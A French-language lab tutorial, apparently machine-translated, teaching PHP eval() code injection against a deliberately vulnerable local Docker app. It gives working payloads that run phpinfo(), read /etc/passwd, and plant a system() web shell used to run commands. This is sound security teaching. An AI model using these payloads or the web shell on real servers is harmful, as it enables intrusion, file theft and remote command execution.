Explorer les vulnérabilités d'injection de code dans les applications web

Beginner

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous allez explorer le concept des vulnérabilités d'injection de code dans les applications web. L'injection de code est une vulnérabilité courante qui permet à un attaquant d'exécuter du code malveillant sur le serveur en injectant du code dans les champs de saisie utilisateur. L'objectif est de comprendre les principes sous-jacents aux vulnérabilités d'injection de code et d'apprendre à les exploiter grâce à des exercices pratiques.


Skills Graph

Configuration de l'application vulnérable

Dans cette partie de notre cours, nous allons configurer une application web intentionnellement vulnérable, plus précisément, elle présente une vulnérabilité d'injection de code. Cela nous aidera à apprendre à identifier et à atténuer de tels problèmes. Voici comment vous pouvez faire fonctionner cette application :

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec

Décortiquons un peu cette commande :

  • docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 démarre un nouveau conteneur Docker avec notre application web vulnérable. Le flag -d indique à Docker d'exécuter le conteneur en arrière-plan. La partie -p 82:80 mappe le port 80 à l'intérieur du conteneur sur le port 82 de votre machine.
  • /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' démarre le serveur web Apache à l'intérieur du conteneur, puis affiche en continu le journal des erreurs du serveur.
  • docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec modifie les autorisations du répertoire /var/www/codeexec à l'intérieur du conteneur en cours d'exécution, afin que l'application web puisse fonctionner correctement.

Une fois la commande exécutée et le conteneur Docker actif, vous pouvez interagir avec l'application en ouvrant votre navigateur web et en vous rendant à l'adresse http://localhost:82/codeexec/example1.php?name=hacker. Cela vous amènera à notre application web intentionnellement vulnérable. Bonne apprentissage!

Interface de l'application web vulnérable

Comprendre la vulnérabilité d'injection de code

Dans l'étape précédente, nous avons configuré une application web présentant une vulnérabilité d'injection de code intégrée. Examinons de plus près le code PHP qui rend cela possible :

<?php
  $str="echo \"Hello ".$_GET['name']."!!!\";";
  eval($str);
?>

Ici, la fonction eval() en PHP est utilisée pour exécuter une chaîne de caractères comme du code PHP. Le problème apparaît lorsque la valeur fournie par l'utilisateur via le paramètre name dans l'URL est directement ajoutée à la chaîne que eval() exécute. Étant donné qu'il n'y a pas de vérification sur les entrées autorisées, cela ouvre la porte aux attaques d'injection de code.

Maintenant, voyons cette vulnérabilité en action. Nous pouvons injecter notre propre code PHP en sortant de la chaîne existante et en ajoutant le nôtre. Essayez de visiter cette URL :

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();

Vous verrez probablement un message d'erreur. C'est parce que notre code injecté a provoqué une erreur de syntaxe - nous avons laissé des guillemets doubles déséquilibrés. Mais ne vous inquiétez pas, nous pouvons résoudre ce problème en utilisant la syntaxe des commentaires PHP pour terminer la chaîne existante.

Message d'erreur de syntaxe affiché

Essayez cette URL :

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//

Cette fois, la fonction phpinfo() devrait s'exécuter avec succès, affichant des informations sur la configuration PHP du serveur. Cela montre que nous avons exploité avec succès la vulnérabilité d'injection de code. Comme vous pouvez le voir, même de petites négligences dans le code peuvent entraîner des risques de sécurité importants!

Résultat d'injection de code réussi

Exploitation de l'injection de code pour l'inclusion de fichiers

Dans cette étape, nous allons explorer une technique courante pour exploiter les vulnérabilités d'injection de code : l'inclusion de fichiers distants sur le serveur. Nous utiliserons la fonction file_get_contents() de PHP pour y parvenir.

Voici une charge utile (payload) que vous pouvez tester pour lire le fichier /etc/passwd sur le serveur :

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//

Le résultat ressemble à ceci :

Contenu du fichier passwd affiché

Décortiquons cela :

  • http://localhost:82/codeexec/example1.php?name=hacker est l'URL de notre application vulnérable, comme nous l'avons vu précédemment.
  • %22;var_dump(file_get_contents(%20%27/etc/passwd%27)); est la partie clé de notre charge utile. Elle utilise la fonction file_get_contents() pour lire le contenu du fichier /etc/passwd, puis var_dump() pour l'afficher.
  • // est simplement un moyen de commenter le reste du code, afin qu'il n'interfère pas avec notre charge utile.

Le fichier /etc/passwd contient des informations sur les comptes utilisateurs du système. Cela peut être très précieux lorsque vous essayez d'exploiter davantage un système. Ainsi, en utilisant cette charge utile, nous pouvons potentiellement obtenir beaucoup d'informations utiles. Essayez - la et voyez ce que vous pouvez apprendre!

Écriture de fichiers sur le serveur

Dans cette dernière partie de notre laboratoire, nous allons explorer une autre technique d'exploitation courante : l'écriture de fichiers sur le serveur. Cela peut être réalisé en utilisant la fonction file_put_contents() de PHP. Cette technique peut être particulièrement utile pour télécharger des web shells (shells web) ou d'autres codes malveillants sur le serveur.

Voici une charge utile (payload) que vous pouvez tester pour créer un simple web shell nommé shell.php :

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>

Décortiquons cela :

  • http://localhost:82/codeexec/example1.php?name=hacker est l'URL de notre application vulnérable, comme précédemment.
  • %22;var_dump(file_put_contents($_GET[1],$_GET[2])); utilise la fonction file_put_contents() pour créer un fichier dont le nom est donné par $_GET[1] et le contenu par $_GET[2]. Elle utilise ensuite var_dump() pour afficher le résultat de cette opération.
  • //&1=shell.php&2=<?php system($_GET['cmd'])?> fournit les arguments pour la fonction file_put_contents(). shell.php est le nom du fichier que nous créons, et <?php system($_GET['cmd'])?> est le contenu du fichier. Ce code PHP exécutera n'importe quelle commande passée via le paramètre cmd dans la chaîne de requête.

Une fois que vous avez exécuté cette charge utile, vous devriez être en mesure d'accéder au fichier shell.php et d'exécuter des commandes système sur le serveur. Par exemple, vous pouvez essayer de visiter l'URL suivante :

http://localhost:82/codeexec/shell.php?cmd=uname -a

Le résultat ressemble à ceci :

Sortie de commande du shell PHP

Cela exécutera la commande uname -a sur le serveur et affichera la sortie, vous donnant des informations de base sur le système d'exploitation du serveur. Essayez - le et voyez ce que vous pouvez apprendre!

Résumé

Dans ce laboratoire, vous avez appris à connaître les vulnérabilités d'injection de code et à les exploiter à l'aide de diverses techniques. Vous avez configuré une application web vulnérable, compris la vulnérabilité sous - jacente et l'avez exploitée en injectant du code PHP pour exécuter des commandes système, lire des fichiers sensibles et écrire des fichiers sur le serveur. Cette expérience pratique vous aidera à mieux comprendre les risques associés aux vulnérabilités d'injection de code et à les atténuer dans les applications web.